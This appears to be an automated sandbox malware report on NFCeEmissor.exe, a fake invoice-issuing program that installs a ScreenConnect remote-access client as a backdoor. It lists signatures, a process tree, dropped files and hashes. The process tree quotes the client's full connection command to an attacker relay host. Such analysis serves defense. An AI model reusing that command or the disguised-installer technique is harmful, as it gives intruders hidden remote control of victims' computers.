Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251015-en
  • resource tags

    arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    27/11/2025, 12:47

General

  • Target
    NFCeEmissor.exe
  • Size 12.0MB
  • Sample251127-p1bclawpdx
  • SHA256 5be22549da694e3d6493ca85d0eeba5b0903ad6c98a3770427cd2947962b4bc2
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Sets service image path in registry 2 TTPs 1 IoCs
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 33 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 17 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 35 IoCs
  • Suspicious use of SendNotifyMessage 33 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\NFCeEmissor.exe
    "C:\Users\Admin\AppData\Local\Temp\NFCeEmissor.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5992
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.8.1.9447\1e1e0cdf908eddf1\ScreenConnect.ClientSetup.msi"
      2⤵
      • Badlisted process makes network request
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5400
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1384
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 1006CEF4EA874ACB3186FD095621E076 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3412
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9B65.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240622484 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2664
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4252
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 70992BC6562AAFE8155D94AF2505EFCF
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2792
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9663D09833AD18B5A9AE1EA03FF42DA6 E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5016
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5024
    • C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-jrildx-relay.screenconnect.com&p=443&s=2ab985e4-3a09-446f-885b-88d6b2a33ba2&k=BgIAAACkAABSU0ExAAgAAAEAAQBJ8w2%2b%2fCZDnkkT6rmdV6hIYhdQAxG%2f8FWhMLTfZnnOHPemyglGh2fBFOHI1LEf4DcisnAkXvRDNCWfjchQXMxOEZh9LwRjhYZP0xfNKDLVn79EUEL9Mkn%2bI8fBiO1pBfS28g3ZgxJy3CGPQJIUiIkN1Fxw%2bo23I5K95cKoiM96NlbTnf2P87gWoO9OB2rCri7U0DUXYBxXqsbdmSIm7jWfpzVEQDQR7If%2bCl%2fweNs2bljkU7xKFulTc8rJeOWqWtJxFpm9HEBJ0UZbXB1veGEerwoSuJNj9LXPFe3y7phh%2beH12Fko3ukFPTWy6LPwsdQg1y95wsQWBnNo4I9RE1Gv&c=Clientes%20game&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4996
      • C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsClient.exe" "RunRole" "8ea00a1d-74a3-4b5d-9123-fac6530575f9" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3260

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e57c96b.rbs

          • Path C:\Config.Msi\e57c96b.rbs
          • Size 214KB
          • SHA256 086cb352431540d9c5b9a5b7409ed275488ebdb4eee644d1e6d96cc9e011bf34
          • MD5 SHA1 SHA512 SSDEEP

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\Client.en-US.resources
          • Size 64KB
          • SHA256 efdb0b4fcc38b52cbf72336bd107a814db8454003f3495de21e2026a148823ea
          • MD5 SHA1 SHA512 SSDEEP

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\Client.resources
          • Size 2KB
          • SHA256 4514129a17cafb2891674dd75cf25dfc3e2ac08a08f7adebeba3519f2313ac5e
          • MD5 SHA1 SHA512

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.Client.dll
          • Size 400KB
          • SHA256 50d7b8308782136bfdb33082f60c0c1904af7f54d4c7abe1326a19aca1d7d9c8
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.ClientService.dll
          • Size 78KB
          • SHA256 c620701ec9c3b4467136bc7874408ea7df0e089c1ae6e9a1d01a18677850d5bc
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 45f63f2abad5211bd4c12e77b7a2b1d704c534bb18a4638c1fab04abdcfb477d
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.Core.dll
          • Size 553KB
          • SHA256 cc2eb5415b72a5800c4275c4061aaea17dc43403f9404240afce5bd227cee190
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 91ad9b6a20b40f93b18e97d1d177b51656b9d08388f6d45949aaa45d2a13ec64
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsClient.exe
          • Size 603KB
          • SHA256 4f176105e5ccb4325fbc62c1097bda7a2afe4d012ddd717d68e72ad3658641ee
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 c4783917faaf4660cc52999393401327b6526b9ab47e58839693b798002e1aa1
          • MD5 SHA1 SHA512 SSDEEP

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\system.config
          • Size 960B
          • SHA256 06159fe3ef201175f211a48fce4ba636e654804366c0d4cdb277fc7fed01391c
          • MD5 SHA1 SHA512

          8EC9B1D0ABBD7F98B401D425828828CE_AE4B983DE066DC93BB134616BF886138

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_AE4B983DE066DC93BB134616BF886138
          • Size 727B
          • SHA256 0742a0e1f1182f6072688e2828787f697a426bf88143558630b4a5bf1dfa0684
          • MD5 SHA1 SHA512

          C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
          • Size 727B
          • SHA256 59f0512dd3f0d54ebbfbe743fdb9a2c354918ca1edb29cacbe30a2cd556e306f
          • MD5 SHA1 SHA512

          8EC9B1D0ABBD7F98B401D425828828CE_AE4B983DE066DC93BB134616BF886138

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_AE4B983DE066DC93BB134616BF886138
          • Size 408B
          • SHA256 efa5a5b8daec4c505c089d6f7d712670fbe1e054a39efe526af82bd7748534e1
          • MD5 SHA1 SHA512

          C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
          • Size 412B
          • SHA256 7acb57e6d242d6735be5c97ec0977174ae20b860ccfb82027fff566e51dd807f
          • MD5 SHA1 SHA512

          MSI9B65.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9B65.tmp
          • Size 1.1MB
          • SHA256 87da17597be0c72da0709cd13c9564f9e8c64640dafffc6bd4a4d9b46fa96065
          • MD5 SHA1 SHA512 SSDEEP

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9B65.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9B65.tmp-\ScreenConnect.Core.dll
          • Size 543KB
          • SHA256 c49e5ccb0fd1149618ce7d8f6fc152c2f96162171487a1c7742b06f6096790b1
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9B65.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 13189092807edd38da041b845bcb6db4100aaec67e2daba93f2675688653c73d
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9B65.tmp-\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 97b16d92304c032fcb72da94b776f2daddbe5898157524b04414897cdd6ef60e
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.8.1.9447\1e1e0cdf908eddf1\ScreenConnect.ClientSetup.msi
          • Size 9.6MB
          • SHA256 a514077d75b265e700b450fed0fc633ec1603ae12446b7ff6649ebe3524c6ff3
          • MD5 SHA1 SHA512 SSDEEP

          MSICAB3.tmp

          • Path C:\Windows\Installer\MSICAB3.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP

          41wcfifm.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\41wcfifm.newcfg
          • Size 589B
          • SHA256 ee9af2513b01af82b0756a5805a96192f9c11196c7b6bbb9a0e31445e150085e
          • MD5 SHA1 SHA512

          4gufalxg.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\4gufalxg.newcfg
          • Size 589B
          • SHA256 a3fb7b2d52a3baf567fb47b52eca9965b03b9bf360b9425846c6b924d1068d99
          • MD5 SHA1 SHA512

          cqqrit5v.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\cqqrit5v.newcfg
          • Size 589B
          • SHA256 04b3905fc937d4cbafa7c9de8e9a1da35dc13a8f3fba5413cb042816bad5b184
          • MD5 SHA1 SHA512

          jntjxrhh.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\jntjxrhh.newcfg
          • Size 589B
          • SHA256 85e9512e8bdf862e19d46a64837f73011e315378b0381db01cd9c912e1d143c7
          • MD5 SHA1 SHA512

          mqvju42i.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\mqvju42i.newcfg
          • Size 589B
          • SHA256 836bb63ffc9f91a41def3736af5b83900e59763351b1e9ec644f3219d0983f4b
          • MD5 SHA1 SHA512

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\user.config
          • Size 589B
          • SHA256 ae0239f17ccc1003e7f90613013b5c0f132ff03bf023fbc1ef4d6af8c260c234
          • MD5 SHA1 SHA512

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\user.config
          • Size 589B
          • SHA256 2645d54dc5bec2f4517d61b10f8bb3956a87535052b567f58da2fb9ae69a8839
          • MD5 SHA1 SHA512

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\user.config
          • Size 589B
          • SHA256 8a09983fa93c69f4319ddecdee2dd1e7612c5bfee16a613dbd02f2584f0b68df
          • MD5 SHA1 SHA512

          vilzktq2.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\vilzktq2.newcfg
          • Size 589B
          • SHA256 83e8b51817c3839b6e152fd5d94eb5bcf7a3a8385dc37f64f85632d0928c2051
          • MD5 SHA1 SHA512

          yaaaebdy.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\yaaaebdy.newcfg
          • Size 589B
          • SHA256 78ef0d979a813715e2c89f25a2600ef0e1a339d2f494e9159055be5ea79e64df
          • MD5 SHA1 SHA512

          zh52bpxw.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\zh52bpxw.newcfg
          • Size 589B
          • SHA256 a6585e07315971ecf9cf9bd1c0c9ed82330ce20d46a79bf0ff042323865a7159
          • MD5 SHA1 SHA512

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 8be46cb7099027d4c34948f30f13c36939ff7d0422a4e5312918ea364404e54e
          • MD5 SHA1 SHA512 SSDEEP

          {a891ef8f-d29b-4231-8881-012855ef33f1}_OnDiskSnapshotProp

          • Path \??\Volume{00f518e4-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{a891ef8f-d29b-4231-8881-012855ef33f1}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 01e57154ce84757565aeb9923844f3512ee48139e57597b49bfc5fddc600d20d
          • MD5 SHA1 SHA512 SSDEEP

          memory/2664-53-0x00000000056C0000-0x000000000586E000-memory.dmp

          memory/2664-41-0x00000000053B0000-0x00000000053DE000-memory.dmp

          memory/2664-45-0x00000000053E0000-0x00000000053EA000-memory.dmp

          memory/2664-49-0x0000000005480000-0x000000000550E000-memory.dmp

          memory/3260-143-0x000000001E5F0000-0x000000001E778000-memory.dmp

          memory/3260-140-0x000000001CC50000-0x000000001CCB8000-memory.dmp

          memory/3260-145-0x0000000002A90000-0x0000000002AA8000-memory.dmp

          memory/3260-144-0x0000000002A50000-0x0000000002A68000-memory.dmp

          memory/3260-139-0x00000000009C0000-0x0000000000A5A000-memory.dmp

          memory/3260-141-0x000000001CFC0000-0x000000001D04E000-memory.dmp

          memory/3260-142-0x000000001D200000-0x000000001D3AE000-memory.dmp

          memory/4996-111-0x0000000003E50000-0x0000000003EA0000-memory.dmp

          memory/4996-99-0x0000000003B40000-0x0000000003B58000-memory.dmp

          memory/4996-115-0x00000000040D0000-0x0000000004138000-memory.dmp

          memory/4996-117-0x0000000004060000-0x00000000040A1000-memory.dmp

          memory/4996-119-0x00000000043D0000-0x00000000044A5000-memory.dmp

          memory/4996-105-0x0000000003BF0000-0x0000000003C7E000-memory.dmp

          memory/4996-109-0x0000000003EB0000-0x000000000405E000-memory.dmp

          memory/5992-8-0x0000000006850000-0x00000000068E2000-memory.dmp

          memory/5992-9-0x00000000065F0000-0x0000000006600000-memory.dmp

          memory/5992-0-0x00000000065F0000-0x0000000006600000-memory.dmp

          memory/5992-7-0x0000000006D60000-0x0000000007306000-memory.dmp

          memory/5992-6-0x0000000006600000-0x00000000067AE000-memory.dmp

          memory/5992-5-0x0000000006560000-0x0000000006584000-memory.dmp

          memory/5992-4-0x00000000064B0000-0x000000000653E000-memory.dmp

          memory/5992-3-0x0000000006430000-0x0000000006438000-memory.dmp

          memory/5992-2-0x00000000065F0000-0x0000000006600000-memory.dmp

          memory/5992-1-0x0000000003E10000-0x0000000003E18000-memory.dmp